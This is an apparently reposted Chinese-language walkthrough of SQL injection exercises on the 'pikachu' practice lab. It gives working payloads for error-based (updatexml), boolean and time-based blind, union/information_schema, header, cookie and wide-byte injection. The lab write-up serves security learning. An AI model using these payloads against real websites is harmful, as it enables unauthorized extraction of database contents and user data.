pikachu sql注入


數字型注入(POST)

因為是數字性不需要加字符測試

 

 把BurpSuite 中攔截的包發到 Repeater 中,修改id參數的值,查看響應結果。可以看到取出了數據庫中全部數據,說明存在數字型注入漏洞。

 

 

字符型注入(GET)

輸入“kobe”,可以得到下面的輸出

 

 

 

 

需要構造閉合,閉合后台查詢語句中的第一個單引號,然后注釋掉第二個單引號,構造的payload如下

輸入kobe‘ or 1=1#進行測試 可得結果

 

 

搜索型注入

 

構造對應的閉合,閉合前面的 單引號 和 百分號,注釋后面的百分號和單引號。構造的payload如下

xxxx%' or 1=1#

XX型注入

使用payload xx')or 1=1# 可得

 

 

 

insert/update注入

1.insert注入

使用updataxml 函數

注入payload

1' or updatexml(1,concat(0x7e,database()),0) or'

 

 

得到皮卡丘的數據庫名字是 pikachu

2 update注入

先登錄進去,在修改資料處抓包
Payload和insert注入相同:

1' or updatexml(1,concat(0x7e,database()),0) or'

同樣能得到皮卡丘的數據庫名字是 pikachu

 

delete注入

先進行留言 在刪除的時候抓包

由於是get的類型的 在payload記得進行url編碼

payload 與之前一樣

 

 

 

得到皮卡丘的數據庫名字是 pikachu

http header注入

先進行登錄 然后開始抓包

 

 

在ua頭進行注入 payload相同

 

 

 

 

 

 

 得到皮卡丘的數據庫名字是 pikachu

COOKIE
cookie中的admin也是一個注入點

還有 cookie 也是可以注入的,后端可能會取得我們的 cookie,后端通過拼接 SQL 語句進行驗證

在 cookie 的用戶名后面加上一個單引號並發送

 

報錯 有注入點

構造相同payload 同樣得到數據庫

 

 

  得到皮卡丘的數據庫名字是 pikachu

 

盲注 (base on boolian)

只有加and 1=1#才能返回個人信息,or 1=1#報錯

用函數來構造payload

kobe' and ascii(substr(database(),1,1))=112#

 kobe' and ascii(substr(database(),1,1)>110#

 kobe' and ascii(substr(database(),1,1)<113#

 112通過多次比較才能試出來

 然后獲取表名
test payload:
kobe'  union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

然后獲取字段名

kobe'  union select table_name,column_name from information_schema.columns where table_name='users'#

盲注(base on time)

payload:

kobe’ and sleep(5)#

 

 

看到時間線是5s,說明存在基於時間的盲注

使用payload

kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回結果 說明不是 "a" 改為”p”不返回  一直到確定數據庫的全稱。

寬字節注入

在后台單引號會被轉義 改使用payload

kobe%df' or 1=1#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM